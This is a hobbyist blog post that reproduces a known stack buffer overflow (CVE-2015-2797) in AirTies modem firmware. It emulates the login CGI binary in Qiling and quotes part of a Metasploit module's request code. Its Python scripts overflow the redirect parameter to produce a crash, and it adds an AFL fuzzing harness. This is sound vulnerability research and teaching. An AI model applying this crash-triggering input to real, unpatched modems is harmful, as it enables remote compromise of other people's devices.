[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Hello guys! In this blog I will explain how to reproduce and experiment old n-days with amazing Qiling framework.
I was studying exploitation techniques on pwn.college for months and I felt that I should do something more realistic. The idea came to my mind "I have already studied stack and buffer overflows, so why don't I just do some google search `stack overflow some_modem_firm`?". I found one old stack-based buffer overflow in Airties 5650 old firmware. But, I had one last problem. The problem was "how could I experiment this vulnerability and analyze it without the physical modem?" And I thought that I can use Qiling Framework for the first time on a real target. Voila, great! I could not help myself and one another idea came to my mind too. I have already finished fuzzingbook.org study too, and asked myself "could I write a fuzzer for this?" I watched "Build a Fuzzer Based on a 1day Bug" presentation by Lau Kai Jern, then I decided to fuzz the target. You guys, if you are interested in Qiling and fuzzing you should see the video too.
I was not so much picky about the vulnerability, I just picked the first result on "stack bufferoverflow exploit airties" search and it was CVE-2015-2797, It also had one metasploit module, which is great because it was going to help me on the way of understanding the vulnerability.
- Stack-based buffer overflow in
- AirTies Air 6372, 5760, 5750, 5650TT, 5453, 5444TT, 5443, 5442, 5343, 5342, 5341,
- and 5021 DSL modems with firmware 1.0.2.0 and earlier allows remote attackers to execute
- arbitrary code via a long string in the redirect parameter to cgi-bin/login.
The firmware is available on the internet and I downloaded it on my machine and extracted with sasquatch tool. After very cliche firmware extraction steps, luckily I got what I need to run this cgi-bin/login binary. Let's run this binary with Qiling Framework then!
- qltool run -f /home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login --rootfs /home/qiling_projects/Airties/5650v3TT/squashfs-root --strace
The output is looking nice, no error and no warnings about something hurr-durr library. This means, the environment is ready to be scripted. Yey! But first let's findout how vulnerability occurs in the target binary.
At this step, we need to analyze how this binary works, to do so we can check disassembled flow of it.
Target binary is very small and has not so much complex flow. Also, It is very understandable for me even I don't know MIPS architecture.
At this step, let's look at the metasploit code and decide to which variables we need to set.
- def execute_command(cmd, opts)
- shellcode = prepare_shellcode(cmd)
- begin
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => '/cgi-bin/login',
- 'encode_params' => false,
- 'vars_post' => {
- 'redirect' => shellcode,
- 'user' => rand_text_alpha(5),
- 'password' => rand_text_alpha(8)
- }
- })
It is a very clear POST request but there is one problem.
We will not emulate the entire web server, we will emulate only login cgi binary.
So we need to know how these parameters are ending up in that binary.
For example, this is the very first jump block.
- lw v0, -sym.imp.getenv(gp)
I already told you, I don't know MIPS but somehow this line tells me, the binary reads from ENV variables and processes like that.
TL;DR After analyzing session, I figured out, we need to set these environment variables while we are running login binary. It is okay to set method to GET because the vulnerability is in redirect parameter.
- "REQUEST_METHOD": "GET",
- "REQUEST_URI": "/cgi-bin/login",
- "CONTENT-TYPE": "application/x-www-form-urlencoded",
- "REMOTE_ADDR": "0.0.0.0",
- "REMOTE_PORT": "1881",
- #"HTTP_COOKIE": "noneed=1",
- "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=YEEEBOIII"
Let's start with basics.
- def main(input_content: bytes, enable_trace: bool, hook: bool):
- env_vars = {
- "REQUEST_METHOD": "GET",
- "REQUEST_URI": "/cgi-bin/login",
- "CONTENT-TYPE": "application/x-www-form-urlencoded",
- "REMOTE_ADDR": "0.0.0.0",
- "REMOTE_PORT": "80",
- "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "vulnerabilityhere",
- }
- ql = Qiling(
- ["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
- rootfs="/home/qiling_projects/Airties/5650v3TT/squashfs-root/",
- output="default",
- env=env_vars,
- console=True if enable_trace else False,
- )
It is ready to ql.run() but I want to know if I will end up in right direction in binary's main. To do so, we can get some help from capstone library. It will do a lot of damage to running time of this script. However, I don't know another way to analyze. If anyone know more efficent way, please reach to me on twitter, I really would like to listen.
- last_register = None
- only_main = False
-
- def hook_callback(ql, address, size):
- global last_register
- global only_main
- # read current instruction bytes
- data = ql.mem.read(address, size)
- # initialize Capstone
- md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN)
- # disassemble current instruction
- for i in md.disasm(data, address):
- addr = f"0x{i.address:08x}"
- if only_main:
- if int(addr,16) > 0x00400b80 and int(addr,16) < 0x004012ac:
- last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
- print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
- else:
- last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
- print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
This function will help us to read if the environment variables are all set correctly. We will hook all codes that will be run and print out to terminal. Let's run with empty environment and see where we end up in the main function.
It is very recognizable, lets look at disassembled code below.
Perfect! It runs exactly what we expected. Let's run with environment variables now.
It looks great to me. As far as i can understand, it did not accept our username and password. It is okay tho. Finally we can experiment the vulnerability now. With a little bit more scripting, we can see the details of it. Please try to understand full script below.
- #!/usr/bin/env python
-
- from capstone import *
- from typing import Optional, Tuple
- import sys
- import argparse
- from qiling import *
- from pwn import *
-
-
- # good informations in this file for capstone, check for further needs
- # https://github.com/avast/retdec/blob/master/src/capstone2llvmirtool/capstone2llvmir.cpp
-
- last_register = None
- only_main = False
-
- def hook_callback(ql, address, size):
- global last_register
- global only_main
- # read current instruction bytes
- data = ql.mem.read(address, size)
- # initialize Capstone
- md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN)
- # disassemble current instruction
- for i in md.disasm(data, address):
- addr = f"0x{i.address:08x}"
- if only_main:
- if int(addr,16) > 0x00400b80 and int(addr,16) < 0x004012ac:
- last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
- print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
- else:
- last_register = [hex(ql.reg.arch_pc), hex(ql.reg.arch_sp), hex(ql.reg.get_uc_reg("ra"))]
- print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))
-
-
- def parser() -> Optional[Tuple[str, bool, bool]]:
- global only_main
- parser = argparse.ArgumentParser()
- parser.add_argument("--input", help="chosen AFL input file", type=str)
- try:
- parser.add_argument(
- "--verbose", help="be verbose about process", dest="verbose", action="store_true"
- )
- except TypeError:
- pass
- try:
- parser.add_argument("--hook", help="enable disasm output", dest="hook", action="store_true")
- except TypeError:
- pass
-
- try:
- parser.add_argument("--main", help="show only main flow", dest="main", action="store_true")
- except TypeError:
- pass
- args = parser.parse_args()
- only_main = args.main
-
- if args.input is None:
- print("[ERR] Please, how should I know the name of input file?")
- sys.exit()
-
- return args.input, args.verbose, args.hook
-
-
- def read_file(filename: str) -> bytes:
- file = open(filename, "rb")
- content = file.read()
- return content
-
-
- def main(input_content: bytes, enable_trace: bool, hook: bool):
- env_vars = {
- "REQUEST_METHOD": "GET",
- "REQUEST_URI": "/cgi-bin/login",
- "CONTENT-TYPE": "application/x-www-form-urlencoded",
- "REMOTE_ADDR": "0.0.0.0",
- "REMOTE_PORT": "80",
- # you can also provide a input file and throw it here.
- # in the metasploit module, redirect buffer size is 359
- "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "A"*370, # fill here
- }
- ql = Qiling(
- ["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
- rootfs="/home/qiling_projects/Airties/5650v3TT/squashfs-root/",
- output="default",
- env=env_vars,
- console=True if enable_trace else False,
- )
-
- if hook:
- main_addr = ql.os.elf_entry
- ql.hook_code(hook_callback)
- try:
- ql.run()
- # If I understood correctly,
- # unicorn will throw a signal to inform us something bad happened
- except:
- print("[*] It is crashed")
- print("[*] Last Registers:")
- print(f"[*] $pc : {hex(ql.reg.arch_pc)}")
- # $sp == stack pointer
- print(f"[*] $sp : {hex(ql.reg.arch_sp)}")
- print("[*] $sp:data ")
- # Print it out what is in the address
- print(ql.mem.read(ql.reg.arch_sp,16))
- sys.exit()
-
-
- if __name__ == "__main__":
- input_file, verbose, hook = parser()
- input_content = read_file(input_file)
- main(input_content, verbose, hook)
Let's go!
I am still studying exploitation and memory corruptions but it looks a valid crash to me.
So far, we experienced the vulnerability without the physical device, yey!!!!
So... the question is
"if we did not know the buffer overflow, could we find out with fuzzing?"
The example will be a very primivite and fragile, if you want to fuzz something advanced
this example will not help you so much. It will crash itself so much because of the limitation of it.
You are warned.
I examined the other examples in the repository and changed little bit to fuzz the redirect parameter Here is the full script of it.
- #!/usr/bin/env python
-
- import os, sys
- import unicornafl
-
- unicornafl.monkeypatch()
- # this is cloned repository
- sys.path.append("../../../")
- from qiling import *
-
- def main(input_file, enable_trace=False):
- env_vars = {
- "REQUEST_METHOD": "GET",
- "REQUEST_URI": "/cgi-bin/login",
- "CONTENT-TYPE": "application/x-www-form-urlencoded",
- "REMOTE_ADDR": "0.0.0.0",
- "REMOTE_PORT": "1881",
- "QUERY_STRING": "user=echel0n&password=ILOVEQILING&redirect=" + "A" * 0x1000 # fill here
- }
-
- ql = Qiling(["/home/qiling_projects/Airties/5650v3TT/squashfs-root/webs/cgi-bin/login"],
- "/home/qiling_projects/Airties/5650v3TT/squashfs-root/", output="debug", env=env_vars,
- console = True if enable_trace else False)
-
- def place_input_callback(uc, input, _, data):
- env_var = ("user=echel0n&password=ILOVEQILING&redirect=").encode()
- env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00"
- ql.mem.write(ql.target_addr, env_vars)
-
- def start_afl(_ql: Qiling):
- try:
- print("Starting afl_fuzz().")
- if not _ql.uc.afl_fuzz(input_file=input_file,
- place_input_callback=place_input_callback,
- exits=[ql.os.exit_point]):
- print("Ran once without AFL attached.")
- os._exit(0)
- except unicornafl.UcAflError as ex:
-
- if ex != unicornafl.UC_AFL_RET_CALLED_TWICE:
- raise
-
- addr = ql.mem.search("QUERY_STRING=user=echel0n&password=ILOVEQILING&redirect=".encode())
- ql.target_addr = addr[0]
- main_addr = ql.os.elf_entry
- ql.hook_address(callback=start_afl, address=main_addr)
- try:
- ql.run()
- os._exit(0)
- except:
- if enable_trace:
- print("went broke, get help")
- os._exit(0)
-
-
- if __name__ == "__main__":
- if len(sys.argv) == 1:
- raise ValueError("No input file provided.")
- if len(sys.argv) > 2 and sys.argv[1] == "-t":
- main(sys.argv[2], enable_trace=True)
- else:
- main(sys.argv[1])
- #!/bin/bash
-
- if [ ! -d ./AFLplusplus ]; then
- git clone https://github.com/AFLplusplus/AFLplusplus.git
- cd AFLplusplus
- make
- cd ./unicorn_mode
- ./build_unicorn_support.sh
- cd ../../
- fi
- AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -t 40 -i afl_inputs -o afl_outputs -U -- python3 ./airties5630_mips32.py @@
You have to start it from bash script and it will use the python script above. Last thing you should know that coredumps are useless for this example. You won't be using coredumps. Check the mutated input that crashed the process. The first script already gets a input file, just change the junk A*370 to input_content variable. I will warn you again, this will crash itself so much and will create a lot of duplicates and nonsense coredumps. You have to fill the buffer in the first allocation as big as you can, maybe it will do better.